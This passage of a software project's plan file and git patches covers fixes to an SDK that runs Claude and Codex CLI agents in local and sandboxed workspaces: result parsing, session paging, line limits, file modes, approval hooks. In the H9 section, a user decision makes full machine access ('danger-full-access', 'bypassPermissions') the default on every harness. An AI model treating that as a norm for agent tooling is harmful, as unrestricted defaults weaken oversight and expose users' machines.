queued +turn with its own `ResultMessage`, `receive_response()` stops at the first +result and the steer's result is read by the next turn (like H5). + +**Tasks:** + +- [x] Verify with real `claude`: steer mid-turn, count `ResultMessage`s, + then `run("say OK")` and check its text. Findings (claude 2.1.289): + a steer DURING the turn is folded into it (one `ResultMessage`, later + turns in step). A steer sent once the turn has ended (e.g. on + `StreamEnd`, while the session still counted the turn as active) was + taken as a new turn: the next two answers were `LATE`, `TWO` instead of + `TWO`, `THREE`. Codex already refused it (`no active turn`) +- [-] If no desync: add the e2e test as a guard, mark `[-]` for the fix — + there was a desync, see below +- [x] Fix: the session refuses `steer()` once the adapter's `StreamEnd` + arrived (`Session._ended`); the claude adapter refuses a steer unless + its CLI turn is running (`_running`: prompted, no `ResultMessage` yet) +- [-] Count outstanding results per session — not needed for the measured + cases. Known limit: a steer sent in the instant the CLI is finishing + (before its `ResultMessage` reaches us) can still start a turn of its + own; not reproduced +- [x] Offline test: steer on `StreamEnd` raises, adapter never called +- [x] e2e: late steer refused and turns stay in step; steered turn leaves + later turns in step (both harnesses) +- [x] Checks pass + +## H9. Different default permissions per CLI · P2 + +**Where:** `_adapters/claude.py` ~L498 (`bypassPermissions` with no hook); +`_adapters/codex.py` ~L200 (`read-only` on Local), ~L316 +(`approvalPolicy="never"` with no hook). + +**Problem:** with no hook on `Local`, Claude can do anything on your +machine; codex can't write at all. Docs claim swapping is "a one-word +edit". Allow-everything on the user's machine is a risky library default. + +**Fix approach:** one shared `permissions=` option on both factories: +`"read-only" | "workspace-write" | "full"`, mapped to Claude +`permission_mode` / tool rules and codex `sandbox`. Default +`"workspace-write"` on `Local`, `"full"` on provider-owned workspaces. Keep +codex `sandbox=` as an advanced override. + +**Decision (user):** full access ("yolo") by default on every harness; no +new `permissions=` option. + +**Tasks:** + +- [x] Codex: `sandbox` defaults to `"danger-full-access"` everywhere (was + `read-only` on `Local`); explicit `sandbox=` still restricts on Local +- [x] Codex: resume and fork now apply the harness's sandbox / approval + policy / model / instructions too (`_thread_params`); before, a resumed + thread kept the policy it was created with +- [x] Claude: unchanged (already bypassPermissions without a hook) +- [x] Test helpers: `writable=True` no longer translates to + `sandbox="workspace-write"`; `examples/harnesses/handoff.py` drops it +- [x] e2e: `test_every_harness_can_write_by_default` (any harness × any + workspace) +- [x] Docs (H15): full-access paragraph, codex `sandbox` default, skill +- [x] Verified in a sandbox: full matrix 219 passed / 2 skipped (session 4) +- [x] Checks pass + + +## H10. Approval hook is a weak gate · P2 + +**Where:** `_approval.py`, `_capabilities.py` (`approval="policy"`), +`workspaces/experimental/_base.py` `contains()` (~L191), +`examples/harnesses/tool_approval.py`, `docs/.../basics/harnesses.mdx`. + +**Problems:** + +- Read-only tools never reach the hook, so reads outside the workspace + can't be blocked. +- Doc/example hook only checks `file_path` → any `Bash` command is allowed. +- `contains()` is string-based; symlinks bypass it. +- `Allow(input=...)` is Claude-only; codex drops `Deny` reasons. + +**Tasks:** + +- [x] Rewrite the doc + example hook to handle shell tools (`Bash`, + `commandExecution`) explicitly; say plainly what reaches the hook +- [x] Investigate Claude `PreToolUse` hooks. Findings (claude 2.1.289, + claude-agent-sdk 0.2.160): a PreToolUse hook sees EVERY call (Read, a + read-only Bash, Write) where `can_use_tool` saw only Write. Decisions + map 1:1: `permissionDecision` allow / deny + reason (agent reads it) / + allow + `updatedInput`; `continue_: False` ends the turn (3.4s). A hook + "allow" is the permission: `can_use_tool` is not asked again. The CLI + times hooks out at 60s by default (`HookMatcher.timeout`) +- [x] Investigate codex. Findings (codex 0.160.1, `approvalPolicy=untrusted`, + `workspace-write`): every shell command (`cat`, `ls` included) and every + `fileChange` reached the hook. MCP tools and web search not verified +- [x] Wire it: claude's hook is now a PreToolUse hook (timeout = + `approval_timeout` + 30s so ours denies first; `can_use_tool` kept as a + safety net with the same judgment, `_judge`); claude claims + `approval="all"`. Codex keeps `"policy"` until MCP/web search are + verified +- [x] Add async `workspace.resolve(path)` (base: one `exec`; `Local`: + direct); document `contains()`'s symlink limit +- [-] Optional: small built-in policy helpers — not wanted for now (user: + keep it simple) +- [x] Tests: `tests/workspaces/experimental/test_resolve.py` (Local and the + exec path); e2e `test_what_the_hook_sees_matches_what_is_claimed`, + `test_a_harness_claiming_every_call_shows_its_hook_every_call` +- [x] Claude local live suite passed (85) after the switch +- [x] Checks pass + +## H11. Depends on undocumented CLI internals · P2 + +**Where:** + +- Claude: `prepare_tui()` (~L330: onboarding / trust / API-key approvals in + `~/.claude.json`), `_cli_sessions()` (~L425: + `/sessions/.json`, `procStart`), `process_ids` and + `_publish_pid` (private `client._transport._process`). +- Codex: `prepare_tui()` (`config.toml` trust, `npm view` + reinstall), + `_held_elsewhere()` (`~/.codex/thread-writer-locks/.lock`), + `_cli_sessions()` (argv parsing), `stage_history()` (stops the server to + release the lock). +- Sandbox installs the latest CLI on every new VM. + +**Problem:** any CLI release can break these quietly: TUIs stuck on a +dialog, wrong `running` flags, hangs. + +**Decision (user):** install the latest CLI by default and document it; no +pinning. (Scheduled CI against latest CLIs: not requested.) + +**Tasks:** + +- [x] Add per-adapter `VERIFIED_VERSION` (claude 2.1.289, codex 0.160.1, + exposed as `adapter.verified_version`); `Harness.open()` warns when + the CLI is OLDER +- [x] Include the CLI version in errors: every `HarnessError` out of a turn + gets a PEP 678 note `" version: "` (`_drive`) +- [x] Latest by default: `base.provision()` — on a provider-owned workspace + install when missing AND upgrade when npm has a newer release (found: + the sandbox image ships claude 2.1.283 preinstalled, so "install only + when missing" never gave the latest). Never upgrades while a copy of + the CLI is running there (a detached agent). Never touches your own + machine. Codex `prepare_tui`'s own upgrade removed (start does it) +- [-] Pinning — not wanted (decision above) +- [-] Scheduled CI job — not requested +- [x] Fail soft on internal-format reads: claude `prepare_tui` leaves an + unexpected `~/.claude.json` alone and warns; `_cli_sessions` returns + nothing on failure. Known limit, accepted: codex `_held_elsewhere` + cannot tell a moved lock file from "not held" (nothing to detect) +- [x] Offline tests: `test_provision.py` (own machine probed only; missing + or older → latest; latest → no-op; running → no-op; no registry → no-op) +- [x] Docs (H15): verified versions, warning, error note, "latest in a + sandbox, never on your machine, not under a running CLI" +- [x] Verified in a sandbox: full matrix 219 passed / 2 skipped (session 4) +- [x] Checks pass + + +## H12. Too many network round trips in a sandbox · P3 + +**Where:** `_session_lock.py` `holders()` (~L119): `ls`, then per lock +`read_text` + maybe `exists` + `python3` liveness exec. Claude +`_cli_sessions()`: `ls` + per-file `read_text` + process list. +`Harness.sessions()` calls both. + +**Problem:** ~3N+ remote calls to list N sessions; polling apps (afk) feel +slow. + +**Tasks:** + +- [x] Fake test: count workspace calls; finding running sessions costs a + fixed number regardless of N (`test_listing_holders_is_one_command`, + `test_running_cli_sessions_are_found_in_one_command`) +- [x] One Python helper per question, run with a single `exec`: lock + holders (`_session_lock.HELPER`), claude's CLI session records + + liveness + start time (`claude._CLI_SESSIONS`). `running_sessions()` + is now 2 commands total on claude, 2 on codex (holders + `ps`) +- [-] Write the helper once per workspace open — dropped: the scripts are a + few hundred bytes passed with `python3 -c`; writing them first would + cost a round trip of its own +- [x] Reuse the helper for H6's atomic lock ops +- [x] Check `list_sessions()` through `WorkspaceSessionStore`: measured + 1 exec + 1 read PER transcript (the SDK loads each to summarize it). + Now `list_session_summaries()` folds summaries from ONE batch read + (`_SCAN` helper) with the SDK's own `fold_session_summary`, and + `list_sessions()` uses the same helper (also drops GNU-only + `find -printf`, so their mtimes agree): listing is ≤2 round trips, + same results as the slow path (`test_listing_stored_sessions_is_a_ + fixed_number_of_round_trips`). `history()` was already 2 (list + load) +- [-] Measure wall-clock before/after on a sandbox — replaced by counted + round trips in offline tests (deterministic); the sandbox e2e matrix + exercises the new paths +- [x] Checks pass + +## H13. `history()` has no incremental read · P3 + +**Where:** `Harness.history(session_id, limit, offset)`; Claude store reads; +codex `thread/read` (always full, then sliced in Python). + +**Problem:** followers re-read the full transcript every poll. + +**Decision (user):** no new API. Share the existing surface: load a +conversation (`resume()`), then run/stream on it like a new session; +`history(limit=, offset=)` stays the way to page a stored one. + +**Tasks:** + +- [-] `follow()` / `history(after=)` — not wanted (decision above) +- [x] Verified `limit`/`offset` count the same messages on both CLIs, tool + turns included (suspected claude counted store records; it does not): + e2e `test_pages_count_messages_when_tools_were_used` +- [x] e2e `test_a_loaded_conversation_streams_like_a_new_one`: `resume()` + → `session.messages` equals the stored history; a streamed turn lands + after it, in order (both harnesses × both workspaces) +- [x] Docs (H15): resume/fork return a session with its past; paging +- [-] afk `peek` could use `offset=` to draw only new messages — moved to + the afk bucket (not part of this plan) +- [x] Checks pass + + +## H14. Text-only input; tools/MCP not configurable · P3 + +**Where:** `Session.run/stream(prompt: str)`; adapters send +`{"type": "text"}` only; `capabilities.images=True` but unused. + +**Decision (user):** accept every input kind the harness supports; expose +basic day-to-day options (not comprehensive). + +**Tasks:** + +- [x] Prompt is `str | Sequence[str | TextPart | FilePart]` on `run()`, + `stream()`, `Harness.run()` (`_input.py`: normalize, check, bytes) +- [x] Measured what each CLI takes: claude base64 image ✓, base64 PDF ✓, + image by URL silently dropped ✗ → URLs are downloaded on the host + (SDK's SSRF-safe downloader) and sent as data; codex `UserInput`: + text, image (`url`, data URL used), audio (declared, not verified → + not claimed) +- [x] Claude: images + PDFs as base64 content blocks (`documents=True`); + codex: images as data URLs; text files inlined on both +- [x] Unsupported media → `UnsupportedError` in `stream()`, before anything + runs or is recorded +- [x] History: claude image/document blocks and codex image inputs come + back as `FilePart`s; handoff carries images (both) and PDFs (claude), + warns about anything left out (`warn_unsupported_files`) +- [x] Structured output on a file prompt: schema goes onto the last text + part (or a new one) +- [x] Options, shared: `instructions` (claude `--append-system-prompt` / + preset append; codex `developerInstructions` on start/resume/fork and + `-c developer_instructions` for the TUI), `mcp_servers` (claude's + shape; codex `-c mcp_servers.*`). Claude only: `tools`, + `disallowed_tools`, `max_turns`. TUI launches carry them too +- [x] Handle stores instructions/tools/disallowed_tools/max_turns, never + `mcp_servers` (env may hold tokens); `harness_from(mcp_servers=...)` +- [x] Offline tests: `test_input.py`, `test_options.py` +- [x] e2e `test_input.py` (image incl. history, PDF / refusal, text file) + and `test_options.py` (instructions, MCP server, `tools`, `max_turns`): + 12 passed locally on both CLIs +- [x] Docs (H15): "Send files", options tables, capabilities, reference, + skill +- [x] Verified in a sandbox: full matrix 219 passed / 2 skipped (session 4) +- [x] Checks pass + + +## H15. Docs fixes · P2 (ongoing) + +Files: `docs/ai-python/content/docs/basics/harnesses.mdx`, +`docs/ai-python/content/docs/reference/harnesses.mdx`, +`docs/ai-python/content/docs/basics/workspaces.mdx`, +`skills/ai/references/harnesses.md`, `CHANGELOG.md`. + +**Tasks** (tick as each fix lands): + +- [x] H1: `result.messages` order; tool-turn handoff works +- [x] H2: `stop()` is safe from any task, returns once settled +- [x] H5: what `break` does now +- [x] H9: full access by default on every harness +- [x] H10: approval example handles shell tools; what reaches the hook + (claude: all); symlinks via `resolve()` +- [x] H11: verified versions; latest CLI in a sandbox, documented +- [x] H13: resume-then-stream; paging counts messages +- [x] H14: "Send files", options +- [-] `CHANGELOG.md` entry — dropped: the file only points to GitHub + releases; write the release notes from the session log instead From 0dce70c44e6b081188bc135daeda4e8b4fb0a7d2 Mon Sep 17 00:00:00 2001 From: George Date: Mon, 19 Oct 2026 10:03:51 -0700 Subject: [PATCH 22/37] harnesses, workspaces: codex results and listings, long protocol lines, file modes Found by running afk and deepysec for real on top of the harness fixes. All four predate them. - codex 0.160 reports a command's output as `aggregatedOutput`. The adapter read `output`, so every command result was None in result.messages, history(), a handoff, and anything showing the transcript (the agent itself saw the output). Read whichever field codex uses. - codex sessions() fetched one unfiltered page of the whole machine's threads and filtered it here: with thousands of threads, conversations in this directory beyond that page were missing. thread/list is now asked for this cwd, page by page. - Local spawned processes with asyncio's 64 KiB line limit. The harness protocols are line-delimited JSON and one line can be megabytes: a thread/list page on a machine with 3159 codex threads failed as "codex crashed: Separator is found, but chunk is longer than limit". - copy() dropped the executable bit both ways: uploads carried no mode and copy_tree used copyfile. A pushed project's script could not run in the sandbox, and one the agent made came home unrunnable. Modes travel now. Verified: full e2e matrix, both harnesses, on Local and in Vercel Sandbox. --- .../harnesses/experimental/_adapters/codex.py | 42 ++++++++++++-- src/ai/workspaces/experimental/_base.py | 2 + src/ai/workspaces/experimental/_local.py | 8 +++ src/ai/workspaces/experimental/_sandbox.py | 14 +++-- .../experimental/e2e/test_history.py | 26 +++++++++ .../experimental/test_codex_adapter.py | 56 +++++++++++++++++++ .../workspaces/experimental/e2e/test_copy.py | 33 +++++++++++ tests/workspaces/experimental/test_local.py | 37 ++++++++++++ 8 files changed, 208 insertions(+), 10 deletions(-) create mode 100644 tests/workspaces/experimental/test_local.py diff --git a/src/ai/harnesses/experimental/_adapters/codex.py b/src/ai/harnesses/experimental/_adapters/codex.py index 98285c6f..ed70d5bc 100644 --- a/src/ai/harnesses/experimental/_adapters/codex.py +++ b/src/ai/harnesses/experimental/_adapters/codex.py @@ -45,6 +45,9 @@ CRASHED = "__crashed__" PACKAGE = "@openai/codex" INSTALL = f"npm install -g {PACKAGE}" +LIST_PAGE_SIZE = 100 +LIST_PAGES = 50 +"""`sessions()` reads at most this many pages of a directory's threads.""" VERIFIED_VERSION = "0.160.1" """The CLI the live suite last passed against. Older ones get a warning.""" THREAD_ID = re.compile(r"[0-9a-f]{8}(-[0-9a-f]{4}){3}-[0-9a-f]{12}") @@ -622,9 +625,25 @@ async def _hand_over(self, session_id: str) -> None: async def list_sessions(self) -> list[_session.SessionInfo]: await self._ensure_running() assert self._workspace is not None - result = await self._rpc().call("thread/list", {}) - threads = (result or {}).get("data") or [] + # Asked for THIS directory, page by page: the store is the whole + # machine's, and one unfiltered page of it (measured: 3159 threads) + # missed conversations that happened here. here = self._workspace.path + threads: list[dict[str, Any]] = [] + cursor: str | None = None + for _ in range(LIST_PAGES): + page = await self._rpc().call( + "thread/list", + { + "cwd": here, + "limit": LIST_PAGE_SIZE, + **({"cursor": cursor} if cursor else {}), + }, + ) + threads += (page or {}).get("data") or [] + cursor = (page or {}).get("nextCursor") + if not cursor: + break return [ _session.SessionInfo( kind=KIND, @@ -1074,9 +1093,7 @@ def _completed_events( result = messages_.ToolResultPart( tool_call_id=item_id, tool_name=call.tool_name, - result=item.get("output") - or item.get("changes") - or item.get("result"), + result=_item_result(item), result_kind="error" if item.get("status") == "failed" else "json", ) out.append( @@ -1088,6 +1105,19 @@ def _completed_events( return out +def _item_result(item: dict[str, Any]) -> Any: + """Return what a tool item produced, under whichever name codex uses. + + A command's output is `aggregatedOutput` (codex 0.160; reading only + `output` made every command result None), a file change's `changes`, an + MCP call's `result`. + """ + for key in ("aggregatedOutput", "output", "changes", "result"): + if item.get(key) is not None: + return item[key] + return None + + def _reasoning_text(item: dict[str, Any]) -> str: """Codex reports reasoning as either text or a LIST of summary parts.""" text = item.get("text") @@ -1159,7 +1189,7 @@ def _item_to_messages( result = messages_.ToolResultPart( tool_call_id=item.get("id", ""), tool_name=call.tool_name, - result=item.get("output") or item.get("changes"), + result=_item_result(item), result_kind="error" if item.get("status") == "failed" else "json", ) return [ diff --git a/src/ai/workspaces/experimental/_base.py b/src/ai/workspaces/experimental/_base.py index ab0da4ec..5d13178c 100644 --- a/src/ai/workspaces/experimental/_base.py +++ b/src/ai/workspaces/experimental/_base.py @@ -105,6 +105,8 @@ def copy_tree( target = dest / relative target.parent.mkdir(parents=True, exist_ok=True) shutil.copyfile(local, target) + # The permission bits travel too: a script must still run. + shutil.copymode(local, target) count += 1 return count diff --git a/src/ai/workspaces/experimental/_local.py b/src/ai/workspaces/experimental/_local.py index a37a7a64..d8893275 100644 --- a/src/ai/workspaces/experimental/_local.py +++ b/src/ai/workspaces/experimental/_local.py @@ -18,6 +18,12 @@ from collections.abc import Mapping, Sequence _TERM_GRACE = 3.0 +LINE_LIMIT = 256 * 1024 * 1024 +"""Longest line a spawned process may write. The harness protocols are +line-delimited JSON and one line can be megabytes — a codex `thread/read` +of a long thread, a `thread/list` page on a machine with thousands. With +asyncio's default (64 KiB) such a line failed as "Separator is found, but +chunk is longer than limit", reported as the CLI crashing.""" class LocalProcess(_base.Process): @@ -132,6 +138,8 @@ async def spawn( stderr=asyncio.subprocess.PIPE, # Own the whole tree, so teardown reaches grandchildren too. start_new_session=True, + # One protocol line can be megabytes (see LINE_LIMIT). + limit=LINE_LIMIT, ) except OSError as exc: # A program that never started is not a process to stream from. diff --git a/src/ai/workspaces/experimental/_sandbox.py b/src/ai/workspaces/experimental/_sandbox.py index 0429b44b..8517a1f2 100644 --- a/src/ai/workspaces/experimental/_sandbox.py +++ b/src/ai/workspaces/experimental/_sandbox.py @@ -17,6 +17,7 @@ import os import secrets import shlex +import stat import subprocess import tarfile import tempfile @@ -1178,7 +1179,7 @@ async def _copy_in( """ root, patterns = source, tuple(ignore) fs = self._live().fs - pending: list[tuple[str, bytes]] = [] + pending: list[tuple[str, bytes, int]] = [] staged = 0 count = 0 @@ -1187,15 +1188,20 @@ async def flush() -> None: if not pending: return async with fs.batch() as batch: - for path, payload in pending: - batch.write_bytes(path, payload) + for path, payload, mode in pending: + batch.write_bytes(path, payload, mode=mode) pending, staged = [], 0 for local, relative in _base.walk_uploadable( root, patterns, gitignore=gitignore ): payload = local.read_bytes() - pending.append((f"{self._workdir}/{dest}/{relative}", payload)) + # The permission bits travel too: measured, without them every + # file landed -rw-r--r-- and a copied-in script could not run. + mode = stat.S_IMODE(local.stat().st_mode) + pending.append( + (f"{self._workdir}/{dest}/{relative}", payload, mode) + ) staged += len(payload) count += 1 # Bound each request so one large tree does not become one diff --git a/tests/harnesses/experimental/e2e/test_history.py b/tests/harnesses/experimental/e2e/test_history.py index 93d42811..f3d9da05 100644 --- a/tests/harnesses/experimental/e2e/test_history.py +++ b/tests/harnesses/experimental/e2e/test_history.py @@ -237,3 +237,29 @@ async def test_a_loaded_conversation_streams_like_a_new_one( "user", "assistant", ] + + +async def test_a_tool_result_carries_what_the_tool_returned( + any_harness: Harness, +) -> None: + """Measured on codex 0.160: every command result was None, live and in + history, because its output moved to `aggregatedOutput`. The agent saw + the output; anything reading the transcript (a UI, a handoff) did not.""" + from ai.types.messages import ToolResultPart + + await any_harness.workspace.write_text("note.txt", "the word is HERON\n") + session = any_harness.session() + result = await session.run( + "Use a tool to read note.txt, then reply with the word it contains." + ) + + def outputs(messages: list[Message]) -> str: + return " ".join( + str(p.result) + for m in messages + for p in m.parts + if isinstance(p, ToolResultPart) + ) + + assert "HERON" in outputs(result.messages) + assert "HERON" in outputs(await any_harness.history(session.session_id)) diff --git a/tests/harnesses/experimental/test_codex_adapter.py b/tests/harnesses/experimental/test_codex_adapter.py index 75b26636..52145111 100644 --- a/tests/harnesses/experimental/test_codex_adapter.py +++ b/tests/harnesses/experimental/test_codex_adapter.py @@ -187,3 +187,59 @@ async def approve(ctx: ApprovalContext) -> Allow: async for _ in a: pass await _close(adapter) + + +def test_a_command_result_is_its_aggregated_output() -> None: + """codex 0.160 reports a command's output as `aggregatedOutput`; reading + `output` made every command result None, in the live turn and in + history alike (the agent itself saw the output).""" + item = { + "type": "commandExecution", + "id": "c1", + "command": "/bin/zsh -lc 'cat secret.txt'", + "aggregatedOutput": "the word is HERON\n", + "exitCode": 0, + "status": "completed", + } + live = [ + e + for e in codex._completed_events(item, set(), [], {}, []) + if isinstance(e, events.ToolCallResult) + ] + assert live[0].results[0].result == "the word is HERON\n" + stored = codex._item_to_messages(item, replay=True) + result = stored[1].parts[0] + assert isinstance(result, m.ToolResultPart) + assert result.result == "the word is HERON\n" + + +async def test_listing_asks_for_this_directory_and_reads_every_page() -> None: + """`thread/list` is paged, and it was called once with no filter: with + thousands of threads on the machine, the first page of everyone's + threads, filtered here, missed conversations in this directory.""" + asked: list[dict[str, Any]] = [] + pages = { + None: ({"id": "t1", "cwd": "/fake"}, "p2"), + "p2": ({"id": "t2", "cwd": "/fake"}, None), + } + + def answer(message: dict[str, Any]) -> Any: + if message.get("method") != "thread/list": + return {} if "id" in message and "method" in message else None + params = message["params"] + asked.append(params) + thread, cursor = pages[params.get("cursor")] + return {"data": [thread], "nextCursor": cursor} + + process = fakes.FakeProcess(answer) + adapter = codex.CodexAdapter() + peer = jsonrpc.JsonRpcPeer(process, harness="codex") + adapter._workspace = fakes.FakeWorkspace() + adapter._process = process + adapter._peer = peer + peer.start(adapter._on_notify, adapter._on_request) + infos = await adapter.list_sessions() + assert [i.session_id for i in infos] == ["t1", "t2"] + assert all(p["cwd"] == "/fake" for p in asked) + assert [p.get("cursor") for p in asked] == [None, "p2"] + await _close(adapter) diff --git a/tests/workspaces/experimental/e2e/test_copy.py b/tests/workspaces/experimental/e2e/test_copy.py index dd6b465f..a4ff0e27 100644 --- a/tests/workspaces/experimental/e2e/test_copy.py +++ b/tests/workspaces/experimental/e2e/test_copy.py @@ -59,6 +59,39 @@ async def test_copy_preserves_bytes( ) +async def test_copy_keeps_the_executable_bit_both_ways( + any_workspace: Workspace, tmp_path: Path +) -> None: + """A script copied in runs there, and one made there runs here. Measured: + both came across as -rw-r--r--, so a pushed project's `./scripts/x.sh` + could not run in the sandbox, and a script the agent wrote came home + unrunnable.""" + import stat + + source = tmp_path / "src" + source.mkdir() + (source / "run.sh").write_text("#!/bin/sh\necho in\n") + (source / "run.sh").chmod(0o755) + (source / "plain.txt").write_text("text\n") + + await copy(source, any_workspace / "proj") + ran = await any_workspace.exec(["./proj/run.sh"]) + assert ran.stdout.strip() == "in", ran + await any_workspace.exec( + [ + "sh", + "-c", + "printf '#!/bin/sh\\necho out\\n' > proj/made.sh && " + "chmod +x proj/made.sh", + ] + ) + back = tmp_path / "back" + await copy(any_workspace / "proj", back) + for name in ("run.sh", "made.sh"): + assert (back / name).stat().st_mode & stat.S_IXUSR, name + assert not (back / "plain.txt").stat().st_mode & stat.S_IXUSR + + async def test_copy_skips_the_usual_noise( any_workspace: Workspace, tmp_path: Path ) -> None: diff --git a/tests/workspaces/experimental/test_local.py b/tests/workspaces/experimental/test_local.py new file mode 100644 index 00000000..6098c737 --- /dev/null +++ b/tests/workspaces/experimental/test_local.py @@ -0,0 +1,37 @@ +"""`Local` processes, offline.""" + +from __future__ import annotations + +import sys +from pathlib import Path + +from ai.workspaces.experimental import Local + + +async def test_a_process_can_write_a_line_longer_than_asyncios_default( + tmp_path: Path, +) -> None: + """The harness protocols are line-delimited JSON, and one line can be + megabytes (codex `thread/read` of a long thread, `thread/list` on a + machine with thousands of threads). asyncio's default 64 KiB limit + failed with "Separator is found, but chunk is longer than limit", + reported as codex crashing (measured with 3159 local codex threads).""" + size = 5 * 1024 * 1024 + async with Local(tmp_path) as ws: + process = await ws.spawn([sys.executable, "-c", f"print('x' * {size})"]) + line = await process.readline() + await process.wait() + assert len(line.rstrip("\n")) == size + + +def test_copy_tree_keeps_permission_bits(tmp_path: Path) -> None: + import stat + + from ai.workspaces.experimental import _base + + source = tmp_path / "src" + source.mkdir() + (source / "run.sh").write_text("#!/bin/sh\n") + (source / "run.sh").chmod(0o755) + _base.copy_tree(source, tmp_path / "out", (), gitignore=False) + assert stat.S_IMODE((tmp_path / "out" / "run.sh").stat().st_mode) == 0o755 From 5488641feb2ce11d8c0a26bc5b4f4fb6e92ea896 Mon Sep 17 00:00:00 2001 From: George Date: Mon, 19 Oct 2026 10:03:51 -0700 Subject: [PATCH 23/37] examples: deepysec sandboxes outlive a run; afk pull keeps a script runnable deepysec created its sandboxes with the platform's default lifetime, five minutes, shorter than one `all` run: the VM stopped under a revalidation turn, which settled cancelled with an empty reply and reported "no valid reply after 3 attempts". They now live 45 minutes, the most a Hobby plan allows. Its approval hook's docstring now says what reaches it: every claude call, read-only tools included. afk `pull --files` wrote files with copyfile, so a script the agent made in the sandbox came home without its executable bit. It copies the mode now, not the times (the sandbox's file times are not this tree's). --- examples/apps/afk/afk/verbs.py | 3 +++ examples/apps/afk/tests/test_verbs.py | 19 ++++++++++++++++++- examples/apps/deepysec/deepysec/agents.py | 20 +++++++++++++++----- 3 files changed, 36 insertions(+), 6 deletions(-) diff --git a/examples/apps/afk/afk/verbs.py b/examples/apps/afk/afk/verbs.py index 45bfb8f5..1f1fe49c 100644 --- a/examples/apps/afk/afk/verbs.py +++ b/examples/apps/afk/afk/verbs.py @@ -597,6 +597,9 @@ async def _pull_files( else: target.parent.mkdir(parents=True, exist_ok=True) shutil.copyfile(Path(staging) / c.path, target) + # Its permission bits too: a script the agent made must run. + # Not copy2: the sandbox's file times are not this tree's. + shutil.copymode(Path(staging) / c.path, target) kept = len(changes) - len(chosen) print( f"afk: wrote {len(chosen)} file{'s' * (len(chosen) != 1)}" diff --git a/examples/apps/afk/tests/test_verbs.py b/examples/apps/afk/tests/test_verbs.py index c175daba..fee4e1f3 100644 --- a/examples/apps/afk/tests/test_verbs.py +++ b/examples/apps/afk/tests/test_verbs.py @@ -7,6 +7,7 @@ import contextlib import os import signal +import stat import subprocess import sys from types import SimpleNamespace @@ -20,7 +21,7 @@ from ai.harnesses.experimental import Handle, SessionInfo from ai.harnesses.experimental.errors import HarnessError from ai.types.messages import Message, TextPart, ToolCallPart -from ai.workspaces.experimental import WorkspaceCoords, tty +from ai.workspaces.experimental import Local, WorkspaceCoords, tty if TYPE_CHECKING: from pathlib import Path @@ -457,3 +458,19 @@ async def ignores_term(argv: list[str], timeout: float) -> Any: with pytest.raises(HarnessError, match=r"did not exit within 0\.1s"): await verbs.attach(row, None) assert not agent.opened + + +async def test_pull_files_keeps_a_scripts_executable_bit( + tmp_path: Path, +) -> None: + """Measured: a script the agent made came home -rw-r--r-- and would not + run. The sandbox side is a `Local` here: same `copy()` either way.""" + there, here = tmp_path / "there", tmp_path / "here" + there.mkdir() + here.mkdir() + (there / "run.sh").write_text("#!/bin/sh\necho hi\n") + (there / "run.sh").chmod(0o755) + async with Local(there) as ws: + sandbox: Any = ws + await verbs._pull_files(here, sandbox, {}, lambda prompt: "y") + assert stat.S_IMODE((here / "run.sh").stat().st_mode) & stat.S_IXUSR diff --git a/examples/apps/deepysec/deepysec/agents.py b/examples/apps/deepysec/deepysec/agents.py index a15dafc9..e2934cb9 100644 --- a/examples/apps/deepysec/deepysec/agents.py +++ b/examples/apps/deepysec/deepysec/agents.py @@ -104,13 +104,20 @@ def shell_text(command: str) -> str: return inner +#: How long a worker's sandbox lives, in seconds. The platform's default is +#: five minutes, shorter than one `all` run: measured, the VM stopped under +#: a revalidation turn, which settled cancelled with no reply. 45 minutes is +#: the most a Hobby plan allows. +SANDBOX_LIFETIME = 45 * 60 + + async def static_analysis_only(ctx: ApprovalContext) -> Decision: """The agent is a security researcher with a read-only shell. - Claude never routes Read/Glob/Grep through the hook — its own policy - treats them as safe — so what arrives from it is Bash and anything that - writes. Codex routes its `commandExecution` here, under that name, with - the command in the same `command` field. The SDK hands over each + Every claude call arrives here, its read-only tools (Read/Glob/Grep/LS) + included, so those are allowed by name and anything unknown is denied. + Codex routes its `commandExecution` here, under that name, with the + command in the same `command` field. The SDK hands over each harness's own tool call untranslated, so the hook has to know both dialects; a denial's reason is delivered to the agent as guidance. """ @@ -254,7 +261,10 @@ async def boot(index: int) -> Worker: # way out, and the harness below is handed a placeholder. deepsec's # credential brokering (§9.2), as one constructor argument. workspace = await stack.enter_async_context( - VercelSandbox(gateway=gateway) + VercelSandbox( + gateway=gateway, + execution_time_limit=SANDBOX_LIFETIME, + ) ) # The tree, minus what .gitignore excludes and minus our own store: # the agent gets the code, never its predecessors' findings. From f460bcfbeb622d0fda1f3f80b0539f3308aaaae3 Mon Sep 17 00:00:00 2001 From: George Date: Mon, 19 Oct 2026 10:03:51 -0700 Subject: [PATCH 24/37] plans: session 5, afk and deepysec run for real What running both apps end to end found, what was fixed, and what was checked and turned out not to be a regression. --- plans/harness-sdk-fixes.md | 34 ++++++++++++++++++++++++++++++++++ 1 file changed, 34 insertions(+) diff --git a/plans/harness-sdk-fixes.md b/plans/harness-sdk-fixes.md index 87bdf002..40841cf9 100644 --- a/plans/harness-sdk-fixes.md +++ b/plans/harness-sdk-fixes.md @@ -153,6 +153,40 @@ Newest last. One entry per session. UnsupportedError when set (every claude_code() argument is a codex() argument again); offline + e2e (both × both workspaces) tests. Lesson: read check-examples' exit code, not its last line. + - Pushed 6e8b734..71300f7 (SSH key not SAML-authorized for vercel-labs; + pushed over HTTPS with the gh login, for that command only). + - Then afk and deepysec were run for real (not only their tests), which + found four SDK bugs, all older than this plan, and two app bugs: + - codex 0.160 puts command output in `aggregatedOutput`; the adapter + read `output`, so every codex command result was None in + `result.messages`, `history()`, handoffs and afk peek (the agent + itself saw the output). `_item_result`; offline + e2e tests. + - `Local` spawned with asyncio's 64 KiB line limit; one codex + `thread/list` reply on a machine with 3159 threads overflowed it + ("codex crashed: Separator is found, but chunk is longer than + limit"), so afk listed no codex conversations. `LINE_LIMIT`; test + with a 5 MiB line. + - codex `list_sessions()` fetched ONE unfiltered page of the machine's + threads and filtered it here: conversations in this directory past + that page were missing. Now `cwd`-filtered and paged. + - `copy()` dropped the executable bit both ways (upload had no mode; + `copy_tree` used copyfile): a pushed script could not run in the VM, + one the agent made came home unrunnable. Modes now travel; e2e test. + - afk `pull --files` also used copyfile; now copymode (not copy2: the + sandbox's 1970 file times are not this tree's). + - deepysec's sandboxes had the platform's 5-minute lifetime, shorter + than one `all` run: the VM stopped under a revalidation turn + (finish=cancelled, empty reply → "no valid reply after 3 attempts"). + `SANDBOX_LIFETIME` = 45 min. Measured: the CLI upgrade on a fresh + sandbox costs 5.5s (0.7s when current), not the cause. + - Not bugs: codex finds 0 deepysec findings on the fixture, same on + the pre-plan code (model judgement); afk's live test 401 was this + shell's stale credentials, same on the pre-plan 